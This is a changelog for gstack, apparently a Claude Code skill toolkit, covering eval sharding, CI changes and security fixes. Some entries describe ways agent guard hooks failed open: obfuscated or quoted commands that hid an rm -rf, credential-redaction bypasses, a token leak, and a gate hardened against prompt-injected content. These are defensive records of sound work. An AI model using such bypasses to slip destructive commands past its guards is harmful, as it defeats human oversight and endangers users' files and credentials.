Paid evals select by diff. Edit one skill and the runner executes only the shards your change touches, reports the rest as skipped-by-diff, and prints the reason. Selection sees uncommitted and untracked work, fails closed with a named cause on git errors, and an edit to the selection data itself re-runs only the changed keys instead of forcing the full suite.

The numbers that matter

Measured on this branch. Re-run with time bun run test and bun run eval:select; eval receipts live in ~/.gstack-dev/evals/.

Metric Before After Δ

Free suite wall clock (~7,000 tests) 454s ~90-100s, strict-verified ~4.7x

Free-test files with Linux CI coverage 0 ~420, as a required PR check new

Paid cost of a one-skill edit ~$38 (full suite) 4 of 45 shards, $0.67 ~57x

Slowest CI eval job 741s, one serial file three jobs, each under ~250s ~3x

Paid retry amplification --retry 2, +84% measured --retry 1 half

The $0.67 row is a live rehearsal, not a projection: a scratch edit to qa/SKILL.md.tmpl selected 17 of 177 tests, ran 4 of 45 shards, skipped 41 by diff, and the /qa E2E passed.

What this means for contributors

Runs you used to schedule around now fit inside a thought. bun run test before every commit is a real habit again at ~90 seconds, red names the exact test, and green means every file actually ran. Fork PRs get true test signal from the new secretless Linux lane. Ship a change and the eval bill tracks your blast radius.

Itemized changes

Added

Linux free-tests CI lane (.github/workflows/free-tests.yml): the whole free suite on every PR and every push to main, required from day one, zero secrets, least-privilege token, failure logs uploaded as an artifact, wiring pinned by test/free-tests-workflow-wiring.test.ts.

Diff-based paid-shard selection: parent-side skipping with a skipped-by-diff taxonomy and a selection banner naming the reason (scripts/test-paid-shards.ts).

Map-diff selection for the selection data itself: editing test/helpers/touchfiles-data.ts re-runs only added/changed/retiered keys (old version evaluated via git show + a bun child; adversarial fixtures in test/touchfiles-map-diff.test.ts).

Selection unions committed, staged/unstaged, and untracked changes; git failures throw naming EVALS_ALL=1 (fail closed), and non-ASCII filenames select correctly (core.quotePath=false).

test/helpers/skill-fixture.ts: E2E fixtures extract the SKILL.md sections a test needs instead of copying 1,800-line files — nine fixture sites cut 58-97%.

GSTACK_EVAL_MODEL_JUDGE env override for the LLM-judge model; eval model resolution centralized in lib/eval-model.ts with per-kind GSTACK_EVAL_MODEL_<KIND> overrides.

Changed

Free suite architecture: N concurrent shard processes (serial within each); tree-mutating tests and tree-measuring ratchet readers run in one serial shard after the parallel phase, so measurements never race regeneration. Shard curation lists are pinned against the live file census, and wall deadlines scale with shard size.

Agent SDK capture default Opus → Sonnet (D1a). The judge default stays Sonnet: a live A/B on the health rubric scored Haiku 2/2/2 against Sonnet's 4/3/4, so the downgrade was pinned back per D1a's regressor clause (receipts in test/helpers/llm-judge.ts).

Four expensive posture tests demoted gate → periodic (D2a).

Paid runners: EVALS_JOBS (shard process count) split from EVALS_CONCURRENCY (within-shard), --retry 1 on every retry-bearing paid path, one preflight API ping per run instead of ~30, detach timeouts floor-enforced against the live shard census by test/eval-detach-timeout-floor.test.ts.

CI: eval Docker image cache keyed on Dockerfile + bun.lock so version bumps stop rebuilding it; Bun 1.3.13 in the image; skill-e2e-review split into three matrix shards; actionlint runs a digest-pinned prebuilt image; five single-core jobs right-sized; lint and skill-docs stop double-running every PR commit; the Windows lane caches bun installs and runs the curated suite instead of a hand list.

Skill-routing E2E fixture installs skill heads, not ~18 full SKILL.md files.

Fixed

Ctrl-C actually cancels a run: the signal forwarders now schedule the parent runner's own exit and both shard pools stop launching new work on SIGINT/SIGTERM — previously the parent killed the current child and kept spawning API-burning shards.

The intermittent whole-suite wedge: browse/src/browser-manager.ts close() captures the Chromium child before the close race and SIGKILLs it when graceful close times out, with unit coverage of the fallback.

The strict-output classifier keeps stdout and stderr line assembly separate, so interleaved pipe chunks cannot hide a failure line or fake a truncation. Windows shard kills take the whole process tree (taskkill /T) instead of orphaning grandchildren.

Redaction calibration: ${var} template interpolations and ALL-CAPS USER:PASSWORD doc placeholders no longer block pushes, while a bare $word password and a literal lowercase password/pass at the URL-password position still do; the two connection-string validators share one helper so they cannot drift.

Supabase pooler DSNs percent-encode the password segment, wait --timeout rejects non-numeric values instead of polling forever, response-body read failures retry as transport errors, and the CLI entrypoint lets stdout drain before exiting.

The paid-suite preflight fails fast on a missing claude binary, a spawn error, or a timeout — outages surface once in the parent instead of once per shard.

Same-name branches from different forks can no longer cancel each other's CI runs (concurrency groups key on PR number across the free, eval, and Windows lanes).

Selection integrity: the touchfiles.ts facade, e2e-helpers.ts, and paid-test-set.ts are global touchfiles (an edit to selection-path code can never select zero tests); duplicate touchfiles keys fail the suite; rehomed E2E files list themselves in their own dependency maps; retro E2E passes require the report on disk.

The intermittent context-save-list eval test that had never passed in 26 recorded runs now passes.

variants-retry-after HTTP-date flake; watchdog E2E 22.7s → 1.5s; supabase-provision tests 16.5s → 0.45s via an in-process TS port.

package.json version drift against VERSION.

For contributors

test:gate:sharded / test:periodic:sharded run tiers through the sharded paid runner; eval:bg:* wrap runs in gstack-detach with a per-tier watchdog and the machine-wide gstack-evals lock.

Five pre-existing environment failures quarantined individually with in-file receipts; two dead-architecture security contract tests deleted.

test/e2e-tier-alignment.test.ts enforces tier declarations and fails fatally when a sharded-runner mapper cannot see a gate file.

[1.65.0.0] - 2026-08-14

/autoplan, /codex on macOS, and memory ingest work again. And every consent gate now means what it says.

This is the second and final wave of the GStack 2 fork port. Wave one (v1.63.0.0) took the audit infrastructure; this wave takes the fixes and the features. Three skills that failed silently on every run now work: /autoplan's task aggregation emits real tasks instead of zero, /codex creates its temp files on macOS instead of dying on BSD mktemp, and memory ingest actually imports pages on current gbrain builds, and prints the count so you can see it. On top of that: your browser auth can now survive a daemon restart, /ship can take an iOS app from working tree to Submit for Review, and four supply-chain gates now run on every PR. Nearly all of it traces back to Sina Matian's time-attack/gstack fork, ported with tests and attribution.

The numbers that matter

Source: this branch (git log 1.63.0.0..HEAD, git diff main...HEAD --stat, bun test), plus the GitHub issues the release closes.

What Before After

/autoplan Phase 4 task output (#2018) 0 tasks, every run every task

/codex on macOS (#2091) broken on every install works

Memory ingest on gbrain 0.42+ (#2144) 0 pages, reported success full corpus, count printed

Headed browse on macOS 26 (#2242) GPU crash, poisoned cache launches, heals old caches

Auth after a browse daemon restart (#778) logged out restored (opt-in)

CI secret scanning on PR diffs none every PR, fail-closed

GitHub issues closed 24

Community PRs landed with authorship 4

The stark one is the first three rows: those aren't degraded features, they were features returning empty results with a green checkmark. If you ran /autoplan in the last two months, the task list it handed off was empty and nothing told you.

What this means for gstack users

Run /autoplan and the pipeline hands real tasks to the executor. Run /codex on a Mac and it just works. Set BROWSE_PERSIST_STATE=1 and a daemon restart no longer logs you out of every site. If you ship an iOS app, /ship now knows the whole App Store journey, session-minted upload keys, the price-schedule API that replaced the broken fastlane path, error -22938 triage, one authorization moment instead of five. Upgrade with /gstack-upgrade; the migration cleans any Chromium bundle an older gstack broke and verifies the replacement download before it claims success.

Itemized changes

Added

Opt-in browser session persistence (#778, #2193): BROWSE_PERSIST_STATE=1 snapshots cookies and tabs (atomic writes, 0600, never page HTML or ownership), restores them off the boot path on the next start, and quarantines a corrupt snapshot instead of crashing. Portions from time-attack/gstack.

Apple App Store release journey for /ship: ship/sections/apple-release.md loads before the repo-landing gates when the target is an Apple app. Encodes session-minted App Store Connect keys, appPriceSchedules over the broken fastlane price_tier, expanded age-rating attributes, -22938 classification, and a one-authorization-moment flow. Refined across 21 live releases on the fork. Portions copyright Sina Matian, MIT.

Code-intelligence provider contract, Phase 1: gstack-code-intelligence wraps GBrain, Sourcebot, and Graphify behind one interface with an ask-once indexing offer for large repos (1,000+ tracked files, decline persisted). Consent is explicit per repo (consent <repo> yes|no), the per-repo trust policy's deny and read-only tiers veto write-class operations no matter what consent was recorded, and every off-machine send writes an egress receipt that records the consent state actually checked. Portions from time-attack/gstack.

Supply-chain CI: a quality gate that runs bin/gstack-redact over every PR diff (HIGH findings fail, MEDIUM annotates), dependency review on lockfile changes, weekly OSV scans, grouped dependabot updates, and an evidence-bar PR template. Every third-party action in the new workflows is pinned to a commit SHA.

Third-party web-actions contract in tier-2+ skills: when a workflow needs a vendor-site step (API key signup, OAuth app), gstack offers to drive the browser itself, hands credentials and CAPTCHAs to you, stores secrets owner-only, and verifies with a read-only call before claiming success.

Design docs land in your repo (#703, #2000): office-hours writes docs/designs/<topic>.md as a concise decision record (one bullet per decision with its why), redaction-scanned before anything touches your git history. Plan reviews prefer the repo-local doc when both exist.

gstack-verify-gate (opt-in Stop hook): blocks turn-end until the CLAUDE.md-declared verify command passes. A command runs only after you trust it once per repo (--trust), re-trust is required when it changes, every grant is audit-logged, and re-entries re-run the check instead of waving it through.

"Never show me these again" for the founder-resources pitch (#538): the opt-out verifies its own config write before promising anything. Re-enable with gstack-config set founder_resources true.

Claimed limitations need evidence: every tier-2+ skill now treats "the API can't do this" as a material claim requiring the verbatim error, the documented statement, or a live probe, and runs the ten-second check before declaring anything blocked.

Fixed

/autoplan Phase 4 emitted zero tasks on every run (#2018): a jq context rebind dropped every aggregated task; the error was hidden by stderr suppression. Six-fixture regression suite pins it.

/codex was broken on every macOS install (#2091): BSD mktemp rejects suffixed templates; all temp files now use portable templates and a static test bans the pattern repo-wide.

Memory ingest imported nothing on gbrain 0.42+ (#2144): the staging dir sits under a gitignored tree, so git-aware collectors saw zero files. Fixed with --include-gitignored (community PR #2560) plus a GIT_CEILING_DIRECTORIES second layer, Windows-safe, and a loud ingested-page count.

Headed mode on macOS 26 (#2242, #2138, #2139): gstack no longer rewrites the signed Chrome-for-Testing bundle (the rebrand broke its code signature; GPU processes refused to start). Launch self-heals poisoned caches, on both headed entry points, by removing the whole revision directory so the re-fetch actually re-downloads, and the upgrade migration does the same for existing installs, verifying a working Chromium exists before recording success. Branding stays on the GStack Browser wrapper app.

browse stop restarted the daemon it was told to stop: the CLI now gets an acknowledgment before shutdown, and the shutdown snapshot has a hard deadline so a wedged page can never hold the port.

Session cookies from internal networks never reach a restored browser: the restore-time hygiene filter drops loopback and link-local IP literals (127.0.0.1, ::1, 169.254.*) alongside localhost and *.internal, shared by both the persistence path and state load.

ios-qa stopped handing out raw bearer tokens: /auth/sessions returns salted-hash token ids with revoke-by-id support, the boot token left os_log entirely, and the IPv4 listener pins to loopback at the socket.

make-pdf's no-network promise holds against obfuscation: <style> @import, inline style URLs (quoted, unquoted, CSS-escaped, and HTML-entity-encoded), srcset, and media sources are all neutralized when rendering untrusted HTML without --allow-network.

pair-agent tunnels are consent-gated (gstack-config set pair_agent on): the tunnel cannot start without the recorded opt-in, the receipts that always claimed consent now reflect a check that exists, and a disabled gate tells you the real remedy instead of ngrok install instructions.

The per-repo gbrain trust policy is enforced at the code-import chokepoint (#2140, sync path): deny refuses, read-only skips code ingest, an unreadable policy store fails closed, and the egress receipt names the decision.

Handoff no longer disarms the tunnel-orphan reaper (community PR #2565 plus hardening): promoting a daemon to headed suppresses only the headed-shutdown branch; a daemon with an active tunnel still dies with its parent.

Windows: broken DACLs on state dirs self-repair (#1605), every Windows-reachable spawn passes windowsHide (#1835, community PRs #2523 and #2539), and decision files no longer land under a project named "unknown".

Setup no longer hangs on first run (#2136): the Chromium probe gets a 90-second deadline that reaps the whole wedged process tree, installs are single-flight across concurrent setups, and EXIT cleanup traps chain instead of clobbering each other.

Paper cuts: gh pr edit falls back to the REST API when the Projects-classic GraphQL deprecation bites (#1079); the v1.27 migration never auto-proceeds without a TTY and never records a failed rename as done (#1383); model benchmarks recognize macOS Keychain auth (#1890); voyage embedding flags survive zsh (#1798); --supersede keeps the replacement decision it was given; brain context no longer disables itself after one slow cold-start probe; lock acquisition reports the real error instead of phantom contention (#1084); plan verification probes the dev server your project declares instead of a hardcoded port list.

Changed

Telemetry defaults to off everywhere: the browse daemon now reads the same persistent consent the rest of gstack does; an absent key means disabled, matching gstack-config get telemetry.

Test-command detection covers Django and config-less projects: a working manage.py test or *_test.go suite is recognized instead of being offered a bootstrap it doesn't need.

Base-branch detection everywhere: the bins that hardcoded main now probe origin/HEAD, origin/main, and origin/master in order.

Eval model resolution is host-neutral: GSTACK_EVAL_MODEL (and per-kind variants) override the hardcoded model ids at all six call sites.

Dead bins removed (chrome-cdp, gstack-open-url, gstack-platform-detect); the stale-reference scan now covers docs/ so removals like these fail CI when documentation still cites them.

For contributors

23 new test files (+5,499 test lines): behavioral suites for session persistence, the poisoned-bundle probe, both migrations, the consent CLI, verify-gate trust, telemetry opt-out, the offline-gate bypass corpus, the secret-scan exit contract, and lock-acquisition edge branches. The ios-qa daemon suite (10 files) is now wired into bun test and the sharded runner; it had never run in CI.

lib/gbrain-repo-policy-client.ts is the one place repo-policy tiers are read; both enforcement points route through it.

lib/context-bill.ts no longer double-counts nested skills in totalMd, and gstack-context-bill works under Conductor env-shims.

Egress receipts: bin/gstack-egress verify passes with the chain intact; code-intelligence adapters registered as fail-closed sinks.

Credits: this release ports work by Sina Matian (time-attack/gstack, MIT) across nearly every cluster. Community PRs absorbed with authorship: Gawie van Blerk (#2560), Shawn Reddy (#2565), Jake Wilk (#2523), Jerry Nichols (#2539). Thank you all.

[1.64.1.0] - 2026-08-15

Every guard in the pipeline now provably fires. And the codebase stopped describing features it doesn't have.

This release is a fix wave over the parts of gstack that earlier-generation models wrote and later rips left behind. The free test suite now runs in CI with per-file isolation, all ten host outputs are gated on every push, the tunnel security allowlist matches the endpoints that exist, and the security documentation describes the defenses that actually run. One template bug fix alone cut 46KB from /spec's skill file, and eight utility skills stopped carrying onboarding prose written for a different tier. Net: 24,943 lines lighter across 183 files.

The numbers that matter

Source: this branch's verification runs (bun test per-file, bun run gen:skill-docs --host all, the JSON config dump-diff) and git diff origin/main...HEAD --stat.

Metric Before After Delta

Free test files running in CI 0 358, one process per file truncation impossible by construction

Host doc-freshness gates that can fail 1 of 10 10 of 10 two gates diffed gitignored paths

spec/SKILL.md 127,462 bytes 80,924 bytes one preamble, not two

hosts/*.ts config code 595 lines 285 lines defineHost() factory, byte-identical output

Eval tier-gate implementations ~40 drifted copies, 6 predicates 1 the unset-tier trap is pinned forever

Net repo size baseline -24,943 lines 24 files deleted outright

The tier table is the one to feel: /scrape, /diagram, and the browser launchers each shed 271 lines of preamble they inherited from a silent default. Skills now declare their tier or the generator refuses to build.

What this means for gstack users

Skill invocations for the trimmed utilities load less prose into your context window, /spec loads 46KB lighter, and a red test in this repo now means a red check on the PR that caused it, every time, on every host. If you maintain a fork or embed the browse daemon: two ServerConfig fields that never worked (idleTimeoutMs, chromiumProfile) are gone rather than lying, and GSTACK_SECURITY_ENSEMBLE no longer exists as a knob. Upgrade normally; no migration needed.

Itemized changes

Fixed

CI: the skill-docs freshness gate covers all 10 hosts through one gen:skill-docs --host all pass plus a tracked-drift diff and an untracked-strays check. The Codex and Factory gates previously diffed gitignored paths, which always pass.

CI: new Free Tests workflow runs the whole free suite (358 files) with one bun process per file on the prebaked toolchain image. Per-file isolation sidesteps two observed silent-truncation modes (a process.exit race in server-lifecycle tests, and co-run module-state bleed) and the historical Bun exit-0-on-module-load-error behavior.

Security: removed the deleted /sidebar-chat endpoint from TUNNEL_PATHS, the audited tunnel attack surface. The set is now exactly /connect and /command, and the closed-set pin test enforces that.

Security: deleted chain's unreachable direct-dispatch fallback, which routed commands without scope, domain, tab-ownership, rate-limit, or JS-origin checks. The JS-origin assertion in read commands is now unconditional.

Security: page-content logs (console, network, dialog, command audit) go through appendSecureFile, gaining owner-only permissions from creation on every platform.

Stealth: the headless-to-headed handoff path uses the shared Chromium profile resolution and singleton-lock cleanup instead of a hardcoded path that ignored CHROMIUM_PROFILE and GSTACK_HOME.

Generator: /spec's skill file rendered its entire preamble twice because template prose mentioned a placeholder literally. Fixed; 46,538 bytes removed from the generated file.

Generator: preamble tiers are declared per skill and a missing declaration is a build error. Eight skills that silently defaulted to the heaviest tier now carry the right one (scrape, diagram, the browser launchers at tier 1; landing-report, pair-agent, skillify at tier 2; spec at tier 3).

Generator: learningsMode is read from host config instead of a hardcoded host check, so the seven basic-mode hosts get the project-scoped learnings flow their runtimes can execute.

Test selection: touchfile dependency paths are validated against disk (the guard caught four rotted entries on its first run), and the eval-watch dashboard reads partial results from the directory the collector writes.

Eval gating: one describeE2ETier implementation replaces ~40 drifted copies. The sharded paid runner's pre-spawn classifier understands the new shape, so gate runs no longer pay for periodic shard startup.

Changed

hosts/*.ts declare only what differs per host; defineHost() derives the rest. Proven byte-identical via a JSON dump-diff of all ten configs and a zero-diff regeneration.

pty-session-cookie and sse-session-cookie share one session-registry implementation with separate token spaces; the terminal agent uses the shared cookie parser.

One lone-surrogate sanitizer and one sanitizeReplacer live in sanitize.ts; one startTunnel() owns the ngrok start sequence that existed three times.

lib/fs-atomic.ts is the single atomic-write implementation (pid+random tmp suffix, throw and quiet variants, mode-at-create). lib and browse call sites migrated, including a latent deterministic-tmp collision race in the worktree dedup index.

lib/jsonl-store.ts documents its real contract (callers screen for injection patterns; the enforcing callers are named), gains a mode option, and the lib-side bypass appenders now use it.

Removed

The dead ML security layers: the Haiku transcript classifier and the DeBERTa ensemble (GSTACK_SECURITY_ENSEMBLE), which had no production callers, plus their paid benchmark suite and fixtures. The live path is the testsavant content scan in the security sidecar. CLAUDE.md and BROWSER.md now document exactly that.

Five HostConfig fields nothing read (metadataFormat, sidecar, prefixable, staticFiles, adapter) and the fully dead openclaw-adapter module.

Seven registered template placeholders no template used, the never-adopted gated-resolver mechanism, and the codex-helpers shadow module whose stale copy silently lost to a local redeclaration.

Two ServerConfig fields that were documented but never read (idleTimeoutMs, chromiumProfile); BROWSE_IDLE_TIMEOUT and CHROMIUM_PROFILE env remain the working knobs.

proactive-suggestions.json (31KB regenerated on every build, read by nothing), two zero-caller bin scripts (gstack-open-url, gstack-platform-detect), an orphaned schema module, three orphaned test fixtures (including a 128KB golden that had drifted 46KB from its live successor), and a superseded duplicate of the ship-idempotency eval.

~2,000 lines of tests that exercised deleted features: two files that crashed at import reading a source file deleted 48 versions ago, a whole dead-endpoint integration file, and 20 describes of chat-pipeline UX pins inside sidebar-ux.test.ts (its live coverage remains, now green).

For contributors

setup accepts --host cursor and --host slate (the hand-rolled allowlists had drifted from hosts/index.ts).

The openclaw CLAUDE.md variants are real template files under openclaw/templates/ instead of string literals inside the generator.

Ghost comments describing sidebar-agent.ts as a live process are scrubbed from 10 files; server.ts tombstone blocks enumerating deleted identifiers are gone.

docs/ADDING_A_HOST.md teaches the defineHost pattern.

[1.64.0.0] - 2026-08-14

Ninety fixes in one wave. Every guard that said it was protecting you now actually does.

This release is a fix wave built from a full audit of the tracker: every open PR and every open issue, verified against main before anything landed. The pattern that kept showing up was guards that failed open. The freeze and careful hooks emitted a payload shape Claude Code ignores, so deny meant allow. The redact pre-push hook had six separate paths that let a credential through. The test suite exited green after running 4% of itself. All of that is fixed, with a regression test or a static tripwire pinning each one shut.

The wave absorbs the best community fix for each defect, credited by name: 82 contributors are named in this release, several of whom independently fixed the same bug within days of each other. That duplication is the tracker telling us how many people hit the same wall.

The numbers that matter

Source: git log 1.63.0.0..HEAD on this branch, plus the audit workflow records referenced in the PR.

Metric Before After

Free-suite files that actually run ~16 of 434 (truncated, exit 0) all 434, honest exit code

Guard hooks that can block (freeze/careful/team-init) 0 of 3 3 of 3, fail closed

Native AskUserQuestion answers recorded 14% 100%, suffix-aware

/codex runs per macOS session before breaking 1 unlimited (mktemp fixed)

Issues closed by this release — 52

Community PRs absorbed with credit — ~50

The suite number is the one to sit with. A delayed process.exit(0) in one test file killed the whole run mid-flight with a green exit code — so every other guarantee in CI was resting on a suite that could not fail. It can fail now, a fault-injection test proves the failure propagates, and the sharded runner treats a summary-less shard as failed.

What this means for you

Skill enforcement (/freeze, /careful, team required-mode) actually blocks. The redact guard scans big diffs instead of blocking them unscanned, and quoted arguments can't hide an rm -rf from /careful. Auto-upgrade un-wedges itself on installs with local patches. Memory ingest refuses to claim success while importing nothing. Windows installs stop bricking .gstack when your hostname matches your username, stop flashing console windows, and the plan-tune hooks finally record your answers. Design image generation works again. Update gstack and the wave is yours.

Itemized changes

Fixed — enforcement guards

/freeze deny and /careful ask decisions nest under hookSpecificOutput so Claude Code honors them; team-init required mode blocks with exit 2 even on schema drift. Contributed by @jawadakram20, @Masashi-Ono0611.

/careful parses the tool payload with a real JSON parser (quoted arguments no longer truncate the command), asks on IFS/base64 obfuscation, fails closed on unreadable input, and multi-line commands cannot ride the safe-exception whitelist. Contributed by @wtamminga.

The investigate scope lock resolves check-freeze via $HOME (the CLAUDE_SKILL_DIR path never resolved at hook time). Reported with a fix by @maxpetrusenkoagent.

Specialist review agents run with run_in_background: false — required since Claude Code 2.1.198 made background the default.

Fixed — credentials and redaction

Pre-push scanning: line-aligned chunked scans for big diffs (@luckywenapere), real push-base resolution instead of whole-repo blame (@stormeoio), byte-exact stdin for chained hooks (@francis-eye), --no-ext-diff/--no-textconv, hunk-aware header parsing, fail-closed ref parsing (bypasses reported by @lubosxyz), GOCSPX + Telegram token patterns (@francis-eye), UUID fixture false-positive suppression.

pair-agent walks you through ngrok auth in YOUR terminal — the token never enters the transcript.

The extension denies token/port reads to content scripts and foreign extensions, reimplemented for the v1.63 pinned-origin token model. Contributed by @Mike-E-Log (#1822).

diff 9.0.0 (GHSA-73rr-hh4g-fpgx, @genisis0x); OpenAI key file written 0600-at-create (@bunlongheng); injection-denylist and phone-pattern false positives calibrated (@Masashi-Ono0611, @JonasFocus, @abkrim).

Fixed — test-suite integrity

All eight delayed process.exit teardown bombs removed; static no-suicide tripwire; fault-injection proof of exit-code propagation; the sharded runner fails shards that exit 0 without bun's summary. Contributed by @sneakygriff with repairs from @time-attack; also fixed by @whd4.

design/test/ joins the free suite and the sharded runner (it never ran anywhere before).

The orphaned sidebar chat-queue suites are gone; live sidebar tests stay.

Fork PRs skip eval jobs deterministically instead of red/green by Docker cache luck. Contributed by @andrey-esipov.

Fixed — silent data loss

memory-ingest imports gitignored staging (@gawievanblerk), reconciles imported-vs-staged counts and refuses to advance state on shortfall (@Charles-Grant), with a version-adaptive flag fallback.

lib/ ships beside bin/ on every host install — learnings, decisions and telemetry scripts work outside Claude Code. Contributed by @fedster99; supabase/config.sh copy by @jizusun.

Native AskUserQuestion answers parse correctly (object-map shape), the (Recommended) suffix compares equal, and extraction failures no longer poison followed_recommendation. Based on the working patch by @yijisoo; suffix fix by @chuchu2781.

The autoplan task aggregator returns real tasks (jq scope bug swallowed by 2>/dev/null). Contributed by @kkroo.

Auto-upgrade pulls with --autostash over locally-patched installs and logs the real failure reason.

gstack-slug resolves the project root by marker walk-up (@ajeenkya), canonicalizes slash branches (@ShuratCode), and keeps cached identity sticky so adding a remote never renames your project.

Design image generation: the gpt-image-2 tool pairing that 400'd every call is fixed (@Pablosinyores), with honest timeout reporting (@vryahn).

Fixed — Windows

icacls grants by SID — hostname==username no longer bricks ~/.gstack (@asizux2; independently fixed by @Icandi40, @chiragborse1, @IntegriGit, @voltapix26).

windowsHide forwarded through every spawn shim (@jerrynicholsai; subsets by @jwilk-hrep, @rroojrooj, @WimvandenHeijkant); watchdog uses signal-0 liveness with a reachable circuit breaker (@SYKhayyat); terminal agents tie their lifetime to the owner PID (@csarigoz).

All three plan-tune hooks spawn their bins through a shared Windows-aware helper (@rafassousa); setup registers the SessionStart hook with a bash prefix (@NikhileshNanduri); BROWSE_BIN gets its .exe (@rroojrooj); the polyfill exposes an exited promise (@habassa5) and the CJK terminal issues are gone (double-send fixed by @mindsurf0176, full-width font cells by @tomfluff).

New Windows regression tests run on windows-latest CI, not just as static checks on macOS.

Fixed — /codex

mktemp templates keep the X-run trailing — /codex works past the first run on macOS (@ShuratCode and @noron12234; also @cathrynlavery).

codex review receives explicit diff args instead of silently reviewing the dirty tree (@fangearhq-boop), wrapped in timeouts so truncation stops reading as no-findings (@aegixx).

Review mode runs sandboxed read-only; the P0/P1/P2 gate fails closed on empty, untagged, or non-zero output; model-entitlement 400s get actionable guidance.

Fixed — everything else

Artifacts Sync and telemetry-finalize un-deadened in 49 skills (quoted tilde never expands — @jawadakram20). update_check:false now silences the preamble prose too (@jc0d35). Codex hosts read AGENTS.md, not CLAUDE.md (@exGeni). setup --help prints help (@saen-ai). Model overlays for the current Claude generation (@chrisquorum). Plus ~20 more small fixes credited in the git log: deploy-config URL parsing, artifacts-init protocol handling, keychain auth detection, catalog description truncation, tracked-file test counts, update-check crash sentinel, Ubuntu 26.04 detection, CRLF-stable generation, telemetry error fields, server-lock diagnostics, shell-quoted paths, benchmark arg validation, and more.

For contributors

The enumerate-first repair protocol used here (defuse, enumerate, repair before removing) is documented in the PR; the audit records live in the session workflow journals. Four follow-up waves are captured in TODOS.md with full context.

[1.63.0.0] - 2026-08-13

Everything gstack sends off your machine now leaves a receipt you can read. And the eval harness stopped grading itself a passing grade.

This release ports the parts of the GStack 2 fork that earned their way back into main. The headline is a hash-chained egress ledger: every place gstack itself sends data off your machine now writes a local, tamper-evident receipt first, and gstack-egress list / verify show you exactly what left and prove the chain is intact. Two new command-line tools ship with it: gstack-egress (the auditor's view) and gstack-context-bill (a token bill-of-materials for any skills tree, so you can see what a gstack install costs your context window before you invoke anything). The test harness got three real fixes, one of them a bug that had been quietly lying to every contributor for months.

The numbers that matter

Source: the assembled branch (git log 1.62.0.0..HEAD), the free suite (bun test), and the discovery-surface gate (test/catalog-budget.test.ts).

Metric Before After Δ

gstack-owned off-machine sinks with a receipt 0 every enumerated sink tripwire-enforced, zero exceptions

Eval "no regressions" lines that were self-comparisons every one 0 the harness compared runs against their own in-progress accumulator

Paid gate runner isolation one process, one hung file kills the tier one process per file, group-SIGKILL on stall + never-started accounting

Discovery catalog budget unenforced 1,105 token-equivalents measured, 1,150 ceiling ratchet-protocol on every skill add

Browser /health endpoint served the root auth token to any localhost caller in headed mode serves no token in any mode token bootstrap moved to a pinned-origin POST

The eval-store line is the one that matters most for anyone hacking on gstack: findPreviousRun picked the newest same-tier file as the baseline, and the in-progress _partial accumulator always won that sort, so the auto-comparison compared a run against itself and printed "no regressions" no matter what. That is fixed, with regression tests, and the fix was confirmed against the bug on the prior release before landing.

What this means for you

If you care what gstack does with your data, you can now audit it: run gstack-egress list after any session and see every off-machine send, or gstack-egress verify to confirm nothing was rewritten. If you contribute to gstack, your eval comparisons mean something again, the paid gate can't be taken down by one wedged test, and gstack-context-bill tells you what your skill changes cost before you ship them. Nothing new phones home; the ledger is local and the receipts record what gstack attempts to send, so accidents are auditable.

Ported from the GStack 2 fork by Sina Matian (time-attack/gstack); the eval-store bug fix and the port shortlist were selected and hardened for upstream.

Itemized changes

Added

gstack-egress — read the hash-chained egress receipt ledger: list (what gstack attempted to send off-machine), verify (recompute the chain, exit 3 on tamper), grants (the standing consent settings and how to revoke each).

gstack-context-bill — offline token bill-of-materials for a skills tree: always-on discovery cost vs per-invocation cost, --diff between two trees, --budget, and --exact (opt-in, measures against the real tokenizer).

Hash-chained egress receipts (lib/egress-receipt.ts): fail-closed receipt-before-send for sensitive sinks (brain-sync, memory-ingest, gbrain-sync, telemetry, tunnels), fail-open with a warning for user-facing sinks (the design binary's model calls, update-check, dashboards). A tripwire test enforces that every off-machine sink in the tree is wired, with zero silent exceptions.

Sharded paid-gate runner (test:gate:sharded / test:periodic:sharded): one process per test file, an external wall-clock timeout that group-SIGKILLs a wedged file's whole process tree, and four-way per-shard status so a crash can't masquerade as a pass.

gstack-context-bill and the egress tools install through the standard ./setup path like every other gstack binary.

Changed

The browser /health endpoint no longer carries the root auth token in any mode. The sidebar extension bootstraps its token through a new POST /extension-token that requires the pinned extension origin and a loopback Host; the tunnel listener never exposes it. Upgrading resets the sidebar's panel-local state once, explained in-product.

Hermetic PTY test children can register the repo's shipped skills, so slash-command gate tests actually exercise the skill under test instead of silently measuring nothing.

Discovery-surface cost is now gated: test/catalog-budget.test.ts pins the aggregate skill name+description budget with a self-service ratchet protocol.

Fixed

The eval harness auto-comparison compared every run against its own in-progress accumulator and reported "no regressions" unconditionally. Fixed with regression tests; comparisons now find the latest completed same-tier run.

The browser /health token leak (a headed-mode carve-out that handed the root token to any localhost caller).

For contributors

Shared modules replace duplicated logic: one paid-test-set definition consumed by both the free-suite filter and the paid runner, one skill-census helper with three explicit counts (physical files, authored skills, registry entries) consumed by the seeder, context-bill, and the catalog gate.

CLAUDE.md's compiled-binaries note corrected: the browse/dist binaries have been untracked since v0.11.16.0, so they no longer appear in git status.

External-service E2E tests (Codex, Gemini, benchmark providers) are declared periodic-tier with the canonical whole-file guard, so the merge-blocking gate never waits on a third-party CLI. The Codex runner passes --skip-git-repo-check (now required in non-git working dirs) and the Gemini runner classifies an unusable CLI (removed flags, retired auth paths) as a skip instead of a false failure.

The PTY test runner parses AskUserQuestion prompts that reflow onto a single logical line and strips DEC cursor-visibility residue, pinned by test/pty-askuserquestion-single-line.test.ts — the failure class that previously ate a gate test's whole time budget.

New follow-ups filed in TODOS.md: egress ledger rotation (chain-genesis records), a launch-nonce token bootstrap, and eval-watch shard-awareness.

[1.62.0.0] - 2026-08-12

Plan reviews stop asking what to review when you're in plan mode.

The gate that guards normal sessions now knows when the answer is obvious.

Invoke /plan-eng-review or /plan-design-review while drafting a plan and the review just starts. No more "What should I review? A/B/C" when the only sensible answer is the plan on your screen. The skill announces its pick in one line ("Scope gate: plan mode — auto-selected B (reviewing your plan)") so you can redirect it, then goes straight to work. Name a target explicitly ("review PLAN.md") and the question is skipped in any mode. Outside plan mode with nothing named, the gate asks exactly as before, and it is still a hard stop.

The bypass is engineered against abuse, not just convenience. Only the host's own plan-mode signal can arm it: plan-shaped text inside pasted documents, tool results, or fetched pages does not count, so injected content can't nominate its own review target. When several plan candidates exist, the host-referenced plan file wins; ambiguity means the skill asks. /autoplan stops surfacing the gate too — its loaded review skills now skip it, since the plan under review is already the target.

The numbers that matter

Source: this branch's live PTY eval runs on 2026-08-11 (logs in ~/.gstack-dev/eval-runs/) and byte measurements from the generated skill files.

What Before After

